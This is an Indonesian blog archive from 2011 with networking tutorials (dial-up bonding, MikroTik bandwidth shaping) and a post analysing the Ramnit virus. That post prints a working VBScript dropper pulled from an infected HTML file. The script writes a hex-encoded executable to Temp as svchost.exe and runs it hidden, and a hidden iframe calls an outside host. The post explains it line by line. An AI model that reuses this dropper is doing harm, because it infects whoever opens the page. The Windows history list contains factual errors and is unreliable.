Sabtu, 30 Juli 2011

Menggabungkan Dua Koneksi Dial UP

Pertama   siapkan mesinnya dulu yang pasti PC ato lepi dan pastinya modem include         
                kartunya juga paket internet
kedua      wooweb
                http://www.ziddu.com/download/15811050/WoowebProv4.49.rar.html
ketiga      hamachi  
                http://www.ziddu.com/download/15830153/hamachi.rar.html
kita mulai tutornya
Quote:
setelah smuanya terinstal...buka wooweb agan seperti gambar di bawah...lanjut klik quick setup...


silahkan pilih modem agan...isi username dan passwordnya dan lihat dibawah
network device catat IP address dan subnet mask nya [bisa dirubah sesuai selera]..
.lanjut klik OK setelah klik OK agan akan masuk ke tampilan seperti di bawah


nah sekarang 1 koneksi sudah masuk..dan untuk menambahkan koneksi/modem lain..
klik Menu >>> Setting >>> Remote Conection...agan akan melihat tampilan seperti di bawah...


setelah itu klik add akan tampil seperti di bawah ini...
ISP/Conection Name : isi sesuai selera agan agan


lanjut klik OK....

skarang waktunya qta mengoneksikan kedua koneksi qta [bisa lebih dari 2]



klik Start Conection...


setelah smua modem/koneksi sudah conected akan Tampil seperti di bawah...


Sekarang qta setting Hamachi Network Interface nya...

masuk ke Control Panel >>> Network Connections >>>
Klik Kanan Hamachi Network Interface >>> Propertise
akan Tampil seperti gambar di bawah


setelah itu klik Internet Protocol (TCP/IP) >>> Klik properties akan tampil seperti di bawah
isi dengan ...
ini di PC ane
IP address : 192.168.0.x (x bisa di isi 2-254)
subnet mask : 255.255.255.0
Default Gateway : 192.168.0.1 (agan ambil dari catatan di wooweb tadi)
untuk DNS silahkan isi sesuai selera kalo ane itu pake DNS smart
setelah itu klik OK...


sampe sini ane rasa smua sudah bisa konak...eh konek wkwkwkwk

sekarang waktunya kita coba ping domain..
klik start >>> Run >>> ketik CMD akan tampil seperti di bawah


Setelah itu ketik ping www.google.com -t tekan enter akan tampil seperti di bawah


yupz sudah reply...skarang waktunya qta tes dongcrot....lihat perbedaan speednya...
Spoiler for Bukti:


pas dongcrot bokep wkwkwk

penampakan dial up


 From : wenkky
            aktivis kaskus

Jumat, 29 Juli 2011

JENIS-JENIS WINDOWS

1. SISTEM OPERASI WINDOWS
2. Sejarah Perkembangan n Windows 1.0 n Windows 2.0 n Windows 2.1 n Windows 3.0 nn Windows 95 (Windows NT 4.0) n Windows 98 (Windows NT 4.1) nn Windows 2000 n Windows XP n Windows Server 2003 nn Windows Home Server n Windows Server 2008 n Windows 7 Windows NT 3.1 Windows Me (Windows NT 4.9) Windows Vista
3. Windows 1.0 n Dirilis tanggal 20 November 1985 n Diberi nama “Windows” oleh Rowland Hanson, marketing manager Microsoft Corporation n Hanya memperluas kemampuan MS- DOS dengan menambah antarmuka grafis
4. Windows 2.0 n Dirilis 9 Desember 1987 n Dapat menjalankan aplikasi secara multitasking nn Mampu mengakses memori sampai dengan 1 MB Menggunakan modus real
5. Windows 2.1 n Muncul 2 versi baru, Windows/286 2.1 dan Windows/386 2.1 n Masih menggunakan modus real tapi mendukung High Memory Area (HMA) n Menggunakan kernel yang berjalan dalam modus terproteksi (Windows/386 2.1) n Mampu menampilkan jendela windows secara cascade (bertumpuk)
6. Windows 3.0 n Dirilis 22 Mei 1990 n Diperkenalkan fitur Virtual Memory n Dapat Berjalan dalam 3 modus n Sudah menggunakan kartu Video Graphics Array (VGA) n Versi Windows pertama yang menggunakan modus terproteksi
7. Windows NT 3.1 n Dirilis 6 April 1992 n Dukungan terhadap multimedia n Modus real dihilangkan, menggunakan modus terproteksi n Mulai menggunakan kernel hibrida nn Muncul Windows 3.11 pada 8 November 1993, merupakan penyempurnaan Windows 3.1 Diperkenalkan sistem berkas NTFS
8. Windows 95 (NT 4.0) n Dirilis 24 Agustus 1995 n Diperkenalkan teknologi Plug and Play (PnP) n Menggunakan kernel 32-bit n Menggunakan Sistem Operasi DOS buatan Microsoft sendiri n Support perangkat keras berbasis bus (USB)
9. Windows 98 (NT 4.1) n Dirilis 25 Juni 1998 n Mendukung sistem berkas FAT32 (mengijinkan partisi lebih dari 2 Gb) n Built-in Internet Explorer n Diperkenalkan Internet Connection Sharing, yang merupakan sebuah bentuk dari Network Address Translation, yang mengizinkan beberapa mesin di dalam sebuah jaringan lokal agar dapat menggunakan satu buah jalur koneksi Internet bersama-sama
10. Windows ME (NT 4.9) n Dirilis 14 September 2000 n Diperkenalkan fitur System Restore nn Versi windows terakhir yang menggunakan kernel monolithic dan tidak memiliki Windows Product Activation (WPA) Diperkenalkan fitur Windows Movie Maker
11. Windows 2000 (NT 5.0) n Dirilis 17 Februari 2000 n Active Directory, sebuah model jaringan pengganti model jaringan NT domain, yang menggunakan teknologi yang merupakan standar industri, seperti Domain Name System (DNS), Lightweight Directory Access Protocol (LDAP), dan Kerberos untuk menghubungkan antara sebuah mesin ke mesin lainnya n Merupakan versi Windows berbasis kernel NT terakhir yang tidak mengharuskan penggunanya untuk melakukan aktivasi
12. Windows XP n Dirilis 25 Oktober 2001 n Versi Windows paling sempurna dibandingkan dengan versi-versi sebelumnya, setidaknya sampai Windows Vista dirilis n Menggunakan kernel NT 5.1 yang terkenal dengan kestabilannya
13. Windows Server 2003 n Dirilis 25 April 2003 n Digunakan untuk komputer ber-basis server, dengan dihilangkannya beberapa fitur, dengan alasan kestabilan n Fitur keamanan yang baru, pemandu "Manage Your Server wizard" yang menyederhanakan peranan sebuah mesin yang menjalankannya, dan juga peningkatan kinerja n Menggunakan kernel NT 5.2
14. Windows Vista n Untuk bisnis dirilis 30 November 2006 n Untuk rumahan dirilis 30 Januari 2007 n Menggunakan kernel NT 6.0 n Memperkenalkan sebuah modus pengguna yang terbatas, yang disebut sebagai User Account Control (UAC), untuk menggantikan filosofi "administrator-by-default" yang diberlakukan pada Windows XP n Fitur Windows Aero GUI, aplikasi yang baru (seperti halnya Windows Calendar, Windows DVD Maker dan beberapa game baru termasuk Chess Titans, Mahjong, dan Purble Place ) n Menawarkan versi Microsoft Internet Explorer yang lebih aman, serta Windows Media Player versi baru (versi 11)
15. Windows Home Server n Dirilis tanggal 7 Januari 2007 n Didesain khusus untuk digunakan oleh para konsumen dari pengguna rumahan (server) n Dapat dikonfigurasikan dan dipantau dengan menggunakan program console yang dapat diinstalasikan pada sebuah PC klien
16. Windows Server 2008 n Dirilis 27 Februari 2008 n Pada saat pengembangannya, Windows Server memiliki nama kode "Windows Server Codenamed Longhorn” n Dibangun menggunakan keunggulan dan keamanan Windows Vista untuk penyempurnaan dari Windows Server 2003
17. Windows 7 n Generasi penerus Windows Vista, diperkirakan rilis tahun 2010 n Dikenal dengan sebutan Blackcomb dan Vienna
18. File Sis te m Windows
19. Jenis File Sistem Yang Digunakan Windows n FAT (File Allocation Table) - FAT12 - FAT16 - FAT32 n NTFS (New Technology File System)
20. FAT12 n Menggunakan ukuran unit alokasi yang memiliki batas hingga 12 bit n Merupakan file sistem asli dari FAT yang pertama kali digunakan dalam sistem operasi MS-DOS nn Bisa diakses oleh MS-DOS dan semua OS Windows Batas kapasitas hingga 32 MB
21. FAT16 n Menggunakan ukuran unit alokasi yang memiliki batas hingga 16 bit n Batas kapasitas hingga 4 GB n Ukuran unit alokasi yang digunakan oleh FAT16 bergantung pada kapasitas partisi yang hendak diformat n Bisa diakses oleh MS-DOS (versi 4.x ke atas) dan semua OS Windows
22. FAT32 n Menggunakan ukuran unit alokasi yang memiliki batas hingga 32 bit n Batas kapasitas hingga 8 TB n Diperkenalkan mulai Windows 95 OEM Service Release 2 (Windows 95 OSR2) n Bisa diakses oleh semua OS Windows kecuali Windows 95 (versi awal), Windows NT 3.x dan Windows NT 4.0
23. NTFS n Merupakan sebuah file sistem yang dibekalkan oleh Microsoft dalam keluarga sistem operasi Windows NT n Memiliki sebuah desain yang sederhana tapi memiliki kemampuan yang lebih dibandingkan keluarga file sistem FAT
24. Fitur-fitur NTFS n Dapat mengatur kuota volume untuk setiap pengguna (Disc Quota) nn Penamaan berkas dengan metode pengodean Unicode (16-bit UCS2) hingga 255 karakter, sistem berkas FAT masih menggunakan pengodean ANSI (8-bit ASCII) Mendukung file sistem terenkripsi secara transparan dengan menggunakan jenis beberapa jenis algoritma enkripsi yang umum digunakan
25. Versi NTFS n NTFS versi 1.0 (Windows NT 3.1) n NTFS versi 1.1 (Windows NT 3.50) nn NTFS versi 2.0 (digagalkan oleh Microsoft) n NTFS versi 3.0 (Windows 2000) n NTFS versi 3.1 (Windows XP SP1 dan Widows Server 2003) NTFS versi 1.2 (Windows NT 4.0)
26. Ke le bihan Ke kurang an Windows
27. Kelebihan Windows n User friendly dibandingkan dengan sistem operasi yang lain nnn Dukungan driver yang lebih banyak Instalasi software masih mudah dibandingkan dengan instalasi di sistem operasi yang lain Banyak software berbasis Windows
28. Kekurangan Windows n Harga licensi mahal n Komunitas terlalu sedikit, karena bersifat closed-source n Banyaknya virus yang sering menyerang Windows n Sistem keamanan yang masih dibilang kurang n Sistem yang kurang stabil
29. Sis te m Ke am anan Windows
30. Keamanan Windows n Secara umum, sistem keamanan Windows masih kurang dibandingkan OS yang lain n Tidak adanya pembatasan user untuk masuk ke OS Windows (administrator by default) n Setiap user dapat masuk ke dalam sistem Windows (file sistem, registry) n Rentan terhadap virus
31. Windows Vista n Diklaim merupakan sistem operasi teraman yang pernah diciptakan nn Service yang mengurangi hak akses pada file sistem, registry dann aktivitas jaringan n Kernel yang lebih baik, menyulitkan rootkit untuk sembunyi dari pendeteksian n Internet Explorer 7 dijalankan pada level Protected Mode n Fitur BitLocker Full Disk Encryption (enkripsi data ketika ditulis dalam disk) Merupakan sistem operasi pertama milik Microsoft yang dibangun dengan model pengembangan SDL (Security Development Lifecycle)
32. Hardware Mininal
33. Windows XP n Prosesor 300 MHz (rec), 233 MHz (req) n RAM 128 MB (rec), 64 MB (req) n HD space 1,5 GB n Super VGA (800 x 600) n CD-ROM
34. Windows Vista n Prosesor 800 MHz (rec), 1 GB (req) n RAM 512 MB (rec), 1 GB (req) n HD space 15 GB n Super VGA (800 x 600) n CD-ROM
35. SISTEM OPERASI WINDOWS MOBILE
36. Sejarah Perkembangan n Pocket PC 2000 n Pocket PC 2002 n Windows Mobile 2003 nn Windows Mobile 5.0 n Windows Mobile 6 n Windows Mobile 6.1 n Windows Mobile 7 Windows Mobile 2003 SE
37. Pocket PC 2000 n Dirilis April 2000 n Dikenal dengan kode “RAPIER” n Berbasis Windows CE 3.0 n Hanya support 240 × 320 (QVGA) n Ditujukan untuk perangkat Pocket PC dengan aplikasi built-in (Pocket Word, Pocket Excel, Pocket Outlook, Pocket Internet Explorer, Windows Media Player, Microsoft Reader, dan Microsoft Money)
38. Pocket PC 2002 n Dirilis Oktober 2001 n Dikenal dengan kode “MERLIN” n Berbasis Windows CE 3.0 n Mulai digunakan untuk ponsel dan smartphone n Tampilan mirip Windows XP n Fitur baru : Theme Support, Spell Checker in Pocket Word, Savable downloads in Pocket Internet Explorer, Virtual Private Networking, Folder Synchronization, MSN Messenger, dan Terminal Service
39. Windows Mobile 2003 n Dirilis 23 Juni 2003 n Dikenal dengan kode “OZONE” n Berbasis Windows CE 4.20 n Dikeluarkan 4 Edisi : Windows Mobile 2003 for Pocket PC Premium Edition, Windows Mobile 2003 for Pocket PC Professional Edition, Windows Mobile 2003 for Smartphone, dan Windows Mobile 2003 for Pocket PC Phone Edition.
40. Windows Mobile 2003 SE n Dirilis 24 Maret 2004 n Dikenal dengan kode “OZONE” nn Fitur Baru : Portrait and Landscape switching for Pocket PC, single- column layout in Pocket Internet Explorer, VGA (640×480), 240×240, and 480×480 screen resolution, dan Wi-Fi Protected Access support Berbasis Windows CE 4.20
41. Windows Mobile 5.0 n Dirilis 9 Mei – 12 Mei 2005 n Dikenal dengan kode “MAGNETO” nn Menggunakan .NET Compact Framework 1.0 SP2 (lingkungan untuk pengembangan aplikasi berbasis .NET) n Fitur baru : Office Mobile, PowerPoint Mobile, Graphing capability in Excel Mobile, Table and graphic insertion in Word Mobile, Windows Media Player 10 Mobile, Photo Caller ID Berbasis Windows CE 5.0
42. Windows Mobile 6 n Dirilis 12 Februari 2007 n Dikenal dengan kode “Crossbow” n Berbasis Windows CE 5.2 n Dikeluarkan 3 versi : Windows Mobile 6 Standard for Smartphone (phone without touchscreen), Windows Mobile 6 Professional for Pocket PC with phone functionality, dan Windows Mobile 6 Classic for Pocket PCs without cellular radio n Fitur baru : 800×480 (WVGA) Screen resolution support, Office Mobile support for Smartphone, Operating System Live Update, VoIP (Internet calling), Windows Live for Windows Mobile, Storage Card Encryption
43. Windows Mobile 6.1 n Dirilis 1 April 2008 n Penyempurnaan dari Windows Mobile 6.1 n Fitur baru : threaded SMS, full page zooming in IE and 'Domain Enroll' (digunakan untuk mengkoneksikan konsol dengan System Center Mobile Device Manager 2008)
44. Windows Mobile 7 n Direncanakan akan dirilis pada pertengahan tahun 2009 n Belum banyak diketahui informasi mengenai Windows Mobile 7, karena masih dirahasiakan oleh Microsoft

From : Black.exe  ( theh@cking )

Kamis, 21 Juli 2011

SETTING MIKROTIK PISAH DOWNLOAD, BROWSE DAN GAME DI 1 LINE

pada kebingungan pas waktu di suruh bos buka warnet + game online dengan 1 line isp.....
akhirnya nemu juga cara setingnya....
nah sekarang langsung aja ah…..


Test running well di RB450 OS ver.4.5
ISP= Astinet TALIKOM 1Mbps

Mangle:
GAME
contoh buat Point Blank, game lain sesuaikan aja port/ip nya karna ane cuma sediakan Point Blank aja di warnet :)
chain=game action=mark-connection new-connection-mark=Game passthrough=yes protocol=tcp dst-address=203.89.146.0/23 dst-port=39190 comment=”Point Blank”

chain=game action=mark-connection new-connection-mark=Game passthrough=yes protocol=udp dst-address=203.89.146.0/23 dst-port=40000-40010

chain=game action=mark-packet new-packet-mark=Game_pkt passthrough=no connection-mark=Game

chain=prerouting action=jump jump-target=game

POKER - paling banyak main bahkan game FB terlaris di kota ane untuk saat ini lol!

chain=forward action=mark-connection new-connection-mark=Poker_con passthrough=yes protocol=tcp dst-address-list=LOAD POKER comment=”POKER”

chain=forward action=mark-connection new-connection-mark=Poker_con passthrough=yes protocol=tcp content=statics.poker.static.zynga.com

chain=forward action=mark-packet new-packet-mark=Poker passthrough=no connection-mark=Poker_con

BROWSING

chain=forward action=mark-connection new-connection-mark=http passthrough=yes protocol=tcp in-interface=WAN out-interface=Lan packet-mark=!Game_pkt connection-mark=!Game connection-bytes=0-262146 comment=”BROWSE”

chain=forward action=mark-packet new-packet-mark=http_pkt passthrough=no protocol=tcp connection-mark=http

UPLOAD

chain=prerouting action=mark-packet new-packet-mark=Upload passthrough=no protocol=tcp src-address=192.168.0.0/24 in-interface=Lan packet-mark=!icmp_pkt comment=”UPLOAD”

LIMIT DOWNLOAD

chain=forward action=mark-connection new-connection-mark=Download passthrough=yes protocol=tcp in-interface=WAN out-interface=Lan packet-mark=!Game_pkt connection-mark=!Poker_con connection bytes=262146-4294967295 comment=”LIMIT DOWNLOAD”

chain=forward action=mark-packet new-packet-mark=Download_pkt passthrough=no packet-mark=!Game_pk> connection-mark=Download

QUEUE

queue type

name=”Download” kind=pcq pcq-rate=256000 pcq-limit=50 pcq-classifier=dst-address pcq-total-limit=2000

name=”Http” kind=pcq pcq-rate=1M pcq-limit=50 pcq-classifier=dst-address pcq-total-limit=2000

name=”Game” kind=pcq pcq-rate=0 pcq-limit=50 pcq-classifier=src-address,dst-address,src-port,dst-port pcq-total-limit=2000

name=”Upload” kind=pcq pcq-rate=0 pcq-limit=50 pcq-classifier=src-address pcq-total-limit=2000

Queue Tree

name=”Main Browse” parent=Lan limit-at=0 priority=8 max-limit=1M burst-limit=0 burst-threshold=0 burst-time=0s

name=”Browse” parent=Main Browse packet-mark=http_pkt limit-at=0 queue=Http priority=8 max-limit=1M burst-limit=0 burst-threshold=0 burst-time=0s

name=”Game” parent=global-total packet-mark=Game_pkt limit-at=0 queue=Game priority=1 max-limit=0 burst-limit=0 burst-threshold=0 burst-time=0s

name=”Poker” parent=global-out packet-mark=Poker limit-at=0 queue=Game priority=3 max-limit=0 burst-limit=0 burst-threshold=0 burst-time=0s

name=”Download” parent=global-out packet-mark=Download_pkt limit-at=0 queue=Download priority=8 max-limit=256k burst-limit=0 burst-threshold=0 burst-time=0s

name=”Main Upload” parent=global-in limit-at=0 priority=8 max-limit=256k burst-limit=0 burst-threshold=0 burst-time=0s

name=”Upload” parent=Main Upload packet-mark=Upload limit-at=0 queue=Upload priority=8 max-limit=0 burst-limit=0 burst-threshold=0 burst-time=0s

HASILNYA
BROWSING 1Mbs bagi rata 1 warnet
DOWNLOAD 256Kbps bagi rata 1 warnet
GAME seadanya bandwith sesuai kebutuhan 1 warnet
POKER seadanya bandwith sesuai kebutuhan 1 warnet
UPLOAD seadanya bandwith bagi rata sesuai kebutuhan 1 warnet

mungkin setingan ini belum sempurna.... buat kk ama om yg lain mungkin bisa kasih pencerahan ato tambahan

Sumber : shockw4v3 ( The H@cking )

Memisahkan Internet Lokal dan International

Semakin berkembangnya konten Internet lokal di Indonesia telah memberikan peluang bisnis baru dalam industri Internet di Indonesia. Saat ini banyak Internet Service Provider

(ISP) yang menawarkan paket bandwidth lokal atau IIX yang lebih besar dibandingkan bandwidth Internet Internasional, hal ini seiring dengan semakin banyaknya pengelola RT-RW Net yang mampu menyediakan layanan koneksi Internet yang lebih terjangkau bagi lingkungan sekitarnya.

Permasalahan umum yang terjadi pada jaringan RT-RW Net adalah masalah pengaturan bandwidth. Pada umumnya pengelola RT-RW Net akan kesulitan pada saat ingin memisahkan antara traffic lokal dengan traffic internasional karena umumnya jaringan RT-RW Net hanya menggunakan static routing, berbeda dengan ISP yang mampu membangun jaringan yang lebih komplek menggunakan protocol routing BGP sehingga ISP dapat dengan mudah memisahkan antara traffic local dan internasional.

Untuk memisahkan traffic lokal dengan traffic internasional tersebut RT-RW Net dapat dengan mudah menggunakan PC Router + Sistem Operasi Mikrotik, Mikrotik sebenarnya adalah linux yang sudah di buat sedemikian rupa oleh pengembangnya sehingga sangat mudah diinstall dan di konfigur dengan banyak sekali fitur dan fungsi. Untuk lebih lanjut mengenai mikrotik dapat dilihat pada situs webnya http://www.mikrotik.com atau http://www.mikrotik.co.id

Berikut contoh cara pemisahan bandwith Lokal dan International dengan asumsi :

1. Router Mikrotik melakukan Masquerading / src-nat untuk client. Client menggunakan IP privat.
2. Gateway yang digunakan hanya satu, baik untuk trafik internasional maupun IIX.
3. Anda bisa menggunakan web-proxy internal ataupun tanpa web-proxy. Jika Anda menggunakan web-proxy, maka ada beberapa tambahan rule yang perlu dilakukan. Perhatikan bagian NAT dan MANGLE pada contoh di bawah ini.

Pengaturan Dasar

Dalam pengaturan dasar kita lakukan konfigurasi membuat Mikrotik sebagai Gateway yang sudah pasti telah di bahas dalam pengenalan dasar mikrotik .
Untuk klien, akan menggunakan blok IP 192.168.0.0/24, dan IP Address 192.168.0.1 difungsikan sebagai gateway dan dipasang pada router, interface ether-local. Klien dapat menggunakan IP Address 192.168.0-2 hingga 192.168.0.254 dengan subnet mask 255.255.255.0.

[admin@MikroTik] > /ip ad pr
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 202.0.0.1/24 202.0.0.0 202.0.0.255 ether-public
1 192.168.0.1/24 192.168.0.0 192.168.0.255 ether-local


Jangan lupa melakukan konfigurasi DNS server pada router, dan mengaktifkan fitur "allow remote request".

Karena klien menggunakan IP private, maka kita harus melakukan fungsi src-nat seperti contoh berikut.

[admin@MikroTik] > /ip fi nat pr
Flags: X - disabled, I - invalid, D - dynamic
0 chain=srcnat out-interface=ether-public
action=masquerade


Pengaturan IP Address List

Mulai Mikrotik RouterOS versi 2.9, dikenal dengan fitur yang disebut IP Address List. Fitur ini adalah pengelompokan IP Address tertentu dan setiap IP Address tersebut bisa kita namai. Kelompok ini bisa digunakan sebagai parameter dalam mangle, firewall filter, nat, ataupun queue.

Mikrotik Indonesia telah menyediakan daftar IP Address yang diadvertise di OpenIXP dan IIX, yang bisa didownload dengan bebas di URL: http://www.mikrotik.co.id/getfile.php?nf=nice.rsc

File nice.rsc ini dibuat secara otomatis di server Mikrotik Indonesia setiap jam, dan merupakan data yang telah dioptimalkan untuk menghilangkan duplikasi entri dan tumpang tindih subnet. Saat ini jumlah baris pada script tersebut berkisar 7000 baris.

Proses pengambilan file nice.rsc bisa dilakukan langsung dari terminal di RouterOS dengan perintah:

/tool fetch address=ixp.mikrotik.co.id src-path=/download/nice.rsc;


Kemudian import file tersebut ke system mikrotik kita .

[admin@MikroTik] > import nice.rsc

Opening script file nice.rsc
Script file loaded and executed successfully


Pengaturan Mangle

Langkah selanjutnya adalah membuat mangle. Kita perlu membuat 1 buah connection mark dan 2 buah packet mark, masing-masing untuk trafik internasional dan lokal.

[admin@MikroTik] > /ip firewall mangle pr
Flags: X - disabled, I - invalid, D - dynamic

0 chain=prerouting in-interface=ether-local
dst-address-list=nice
action=mark-connection new-connection-mark=conn-iix
passthrough=yes

1 chain=prerouting connection-mark=conn-iix
action=mark-packet new-packet-mark=packet-iix
passthrough=no

2 chain=prerouting action=mark-packet
new-packet-mark=packet-intl passthrough=no


Pengaturan Simple Queue

Untuk setiap client, kita harus membuat 2 buah rule simple queue. Pada contoh berikut ini, kita akan melakukan limitasi untuk IP client 192.168.0.2/32, dan kita akan memberikan limitasi iix (up/down) sebesar 64k/256k, dan untuk internasional sebesar (up/down) 32k/128k.

[admin@MikroTik]> /queue simple pr
Flags: X - disabled, I - invalid, D - dynamic
0 name="client02-iix" target-addresses=192.168.0.2/32
dst-address=0.0.0.0/0 interface=all parent=none
packet-marks=packet-iix direction=both priority=8
queue=default-small/default-small limit-at=0/0
max-limit=64000/256000 total-queue=default-small

1 name="client02-intl" target-addresses=192.168.0.2/32
dst-address=0.0.0.0/0 interface=all parent=none
packet-marks=packet-intl direction=both priority=8
queue=default-small/default-small limit-at=0/0
max-limit=32000/128000 total-queue=default-small

Pengecekan Akhir

Setelah selesai, lakukanlah pengecekan dengan melakukan akses ke situs lokal maupun ke situs internasional, dan perhatikanlah counter baik pada firewall mangle maupun pada simple queue.

Anda juga dapat mengembangkan queue type menggunakan pcq sehingga trafik pada setiap client dapat tersebar secara merata.

Dengan demikian alokasi bandwith international dan lokal yang masuk melewati Router Mikrotik kita sudah di bagi berdasarkan akses yang dituju yakni International atau Lokal.

Sumber: www.mikrotik.co.id

Selasa, 12 Juli 2011

Cara kerja virus baru ..

Setelah beberapa virus menghebohkan seperti Stuxnet, Sality, Virut dan Shortcut, kini ada Ramnit yang juga tak kalah canggih. Program jahat ini mampu ‘bekerjasama’ dengan virus lain untuk menginfeksi korbannya.
Ya itulah keunikan Ramnit dibandingkan dengan virus lain. Usai menjangkit komputer korbannya, program jahat ini akan men-download varian virus lainnya.
Dan yang lebih memusingkan, jenis virus yang di-download akan berbeda untuk tiap komputer target baik dari nama maupun ukurannya. Hal inilah yang menyebabkan banyak program antivirus sekalipun kesulitan untuk melakukan deteksi dan pembersihan.
virus ini tidak hanya menyebar melalui internet, tapi juga bisa melalui media lain seperti flashdisk dengan memanfaatkan fungsi Autorun.
Aksi lain yang akan dilakukan oleh virus ini adalah menginjeksi file yang mempunyai ekstensi exe, dll dan htm/html baik file program aplikasi maupun file system Windows. Setiap file yang terinjeksi akan bertambah ukurannya sekitar 107-109 KB
sumber << detikNET

nah, saya mau membuktikan apakah benar dan bagaimana cara virus itu menyebar lewat HTML
setelah kemarin sempat terinfeksi virus ini, masih ada ternyata bekasnya. yah lumayankan buat belajar analisa lagi. kajadiannya gini, semua file html saya bertambah besar (wew, ada apa ini?) setelah aku buka pakai notepad ternyata di bagian bawah ada penambahan code seperti ini

Code :

 <iframe style=”height:1px” src=”http://www.Brenz.pl/rc/” frameborder=0 width=1></iframe>
</body>
</html>
<SCRIPT Language=VBScript><!–
DropFileName = “svchost.exe”
WriteData = “4D5A90000300000004000000FFFF0000B800000000000000…………………”
Set FSO = CreateObject(“Scripting.FileSystemObject”)
DropPath = FSO.GetSpecialFolder(2) & “\” & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng(“&H” & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject(“WScript.Shell”)
WSHshell.Run DropPath, 0
//–></SCRIPT><!–’code terenskripsi, gag tau yang ini buat apa’–>

apa sih sebenarnya inti dari code itu, oke akan saya jelaskan sebisa saya
mulai dari bagian depan

Code:
DropFileName = “svchost.exe”
WriteData = “4D5A90000300000004000000FFFF0000B800000000000000…………………”
Set FSO = CreateObject(“Scripting.FileSystemObject”)
DropPath = FSO.GetSpecialFolder(2) & “\” & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)

DropFileName adalah sebuah variable yang memuat nama ‘scvhost.exe’
WriteData adalah suatu string panjang (yang itu saya potong) yang mungkin adalah aplikasi virusnya
Set FSO adalah dia memanggil library yang ada di FileSystemObject biasanya digunakan untuk mencari tempat/lokasi
FSo.GetSpecialFolder(2) Special Folder 2 artinya dia mencari tempat di C:\DOCUME~1\[UserName]\LOCALS~1\Temp dan diberi nama DropFileName atau bisa disebut ‘scvhost.exe’ jadi akan menjadi tempat C:\DOCUME~1\[UserName]\LOCALS~1\Temp\scvhost.exe
if FSO… pada code itu dia melacak apakah sudah ada file yang tercipta atau belum, bila belum maka
FSO.CreateTextFile yang artinya dia akan membuat file virus tersebut

Code:
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng(“&H” & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject(“WScript.Shell”)
WSHshell.Run DropPath, 0


Mulai kode For i sampai Next dia mulai membuat file virus tersebut, dengan mengubah setiap 2 karakter dari String WriteData menjadi 1 karakter supaya menjadi aplikasi. bila dilihat code 4D5A jika diterjemahkan akan manjadi MZ yang artinya itu adalah header dari file executable w32
Set WSHshell = CreateObject(“WScript.Shell”) artinya dia membuat object supaya bisa memanggil exe
WSHshell.Run DropPath, 0 nah inilah code yang digunakan untuk menjalankan virus tersebut dengan Run DropPath artinya dia memanggil file ‘scvhost.exe’ yang ada di Temp dan melarikannya dengan mode Hidden (0)

 From : The H@cking

Rabu, 06 Juli 2011

Langkah instalasi Miktotik pakai speedy

langkah instalasi miktotik pakai speedy




/ip address add interface=ether1 address = 192.168.1.1 netmask= 255.255.255.0
/ip address add interface=ether2 address = 192.168.0.1 netmask= 255.255.255.0
/interface print
/inteface set 0 name=”Public”
/inteface set 1 name=”Lan”
/ip route add gateway=192.168.0.1
/ip dns set primary-dns=203.130.193.74 secondary-dns=202.134.0.155
/ip dns set allow-remote-requests=yes
/ip firewall nat add chain=srcnat out-inteface=Public action=masquerade
/ip firewall nat add chain=dstnat protocol=tcp dst-port=80 action=redirect to-ports=8080
/ip firewall nat add chain=dstnat protocol=tcp dst-port=3128 action=redirect to-ports=8080
/ip firewall nat add chain=dstnat protocol=tcp dst-port=8080 action=redirect to-ports=8080
/ip pool add name=”dhcp-pool” ranges=192.168.0.1-192.168.0.29
/ip dhcp-server add name=”dhcp1″ inteface=LAN address-pool=”dhcp-pool” lease-time=3d
/ip dns set allow-remote-requests=yes
/ip firewall nat add chain=srcnat out-inteface=Public action=masquerade
/ip firewall nat add chain=dstnat protocol=tcp dst-port=80 action=redirect to-ports=8080
/ip firewall nat add chain=dstnat protocol=tcp dst-port=3128 action=redirect to-ports=8080
/ip firewall nat add chain=dstnat protocol

From : Squerpants TheH@cking

NOTEPAD